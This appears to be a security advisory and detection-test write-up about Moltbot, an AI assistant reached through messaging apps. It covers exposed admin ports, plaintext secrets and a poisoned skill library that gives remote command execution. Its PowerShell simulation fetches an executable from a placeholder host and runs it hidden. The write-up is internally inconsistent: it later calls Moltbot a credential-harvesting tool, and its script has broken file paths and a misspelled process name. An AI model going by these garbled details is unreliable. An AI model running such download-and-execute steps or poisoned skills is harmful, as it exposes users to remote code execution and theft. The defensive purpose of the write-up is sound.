The Moltbot / ClawdBots Epidemic

Summary

The article flags security issues around the AI personal assistant first branded Clawdbot and later renamed Moltbot. Moltbot is operated through messaging apps like WhatsApp and Telegram, yet many deployments are reachable from the internet with weak or missing authentication. It writes user credentials to plaintext files, and its skill library can be poisoned, creating a supply-chain exposure. Threat actors could steal secrets, exfiltrate source code, and repurpose the assistant as a backdoor.

Investigation

Researchers found hundreds of Moltbot instances exposing unauthenticated admin ports and unsafe proxy configurations. A proof-of-concept supply-chain attack uploaded a malicious skill to the ClawdHub library, demonstrating remote command execution for downstream users. Analysts also observed that secrets are persisted in plain-text Markdown and JSON files, making them easy pickings for commodity infostealers such as RedLine, Lumma, and Vidar.

Mitigation

Operators should require strong authentication for all Moltbot services, close or firewall admin ports, and avoid exposing the assistant to the internet. Enable encryption-at-rest for stored secrets, sandbox or containerize the runtime, and restrict filesystem access. Vet, sign, and pin any skills pulled from the library, and consider disabling the skill feature if it cannot be governed safely.

Response

Alert on open admin ports and unauthenticated access attempts to Moltbot. Monitor the AI process for unexpected command execution and outbound connections to unknown C2 domains. Scan hosts for credential-stealing malware and validate the integrity of stored configuration files. If compromise is confirmed, isolate the system, revoke exposed credentials, and redeploy Moltbot with hardened settings.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

• Attack Narrative & Commands:
  The red team deploys Moltbot (a publicly‑available credential‑harvesting tool) on a compromised Windows host. By launching Moltbot with its default configuration, it opens an unauthenticated HTTP admin console on port 8080 that advertises “exposed to the web” in its banner. This creates network‑connection events that match the detection rule’s literal strings. The attacker then accesses the UI from an external IP to verify exposure, thereby generating the required telemetry.

  1. Download Moltbot (simulated by a placeholder zip).
  2. Extract and run the binary with default flags (--listen 0.0.0.0:8080).
  3. Optionally issue an HTTP GET from an external IP (simulated via Invoke-WebRequest).

• Regression Test Script:

  # ----------------------------------------------------
  # Moltbot Exposure Simulation – PowerShell
  # ----------------------------------------------------
  # 1. Create a temporary directory
  $tempDir = "$env:TEMPMoltbotSim"
  New-Item -ItemType Directory -Force -Path $tempDir | Out-Null
  
  # 2. Simulate downloading a Moltbot executable (placeholder)
  $molExe = "$tempDirmolbot.exe"
  Invoke-WebRequest -Uri "https://example.com/moltbot.exe" -OutFile $molExe -UseBasicParsing
  
  # 3. Run Moltbot with default (exposed) settings
  $proc = Start-Process -FilePath $molExe `
                        -ArgumentList "--listen 0.0.0.0:8080" `
                        -PassThru `
                        -WindowStyle Hidden
  
  Write-Host "[+] Moltbot started (PID: $($proc.Id)) listening on 0.0.0.0:8080"
  
  # 4. Wait a short period to allow the service to register in logs
  Start-Sleep -Seconds 5
  
  # 5. Simulate an external connection to generate network traffic
  Try {
      Invoke-WebRequest -Uri "http://$($env:COMPUTERNAME):8080" -UseBasicParsing -TimeoutSec 5
      Write-Host "[+] External HTTP request sent to Moltbot UI."
  } Catch {
      Write-Warning "[-] Unable to reach Moltbot UI (may be blocked by firewall)."
  }
  
  # 6. Keep the process alive for additional logging (optional)
  Start-Sleep -Seconds 20
  
  # 7. Cleanup – stop Moltbot
  Stop-Process -Id $proc.Id -Force
  Remove-Item -Recurse -Force $tempDir
  Write-Host "[+] Moltbot simulation completed and cleaned up."

• Cleanup Commands:

  # Forcefully terminate any leftover Moltbot processes and delete temp files
  Get-Process -Name "molbot" -ErrorAction SilentlyContinue | Stop-Process -Force
  Remove-Item -Path "$env:TEMPMoltbotSim" -Recurse -Force -ErrorAction SilentlyContinue
  Write-Host "Cleanup completed."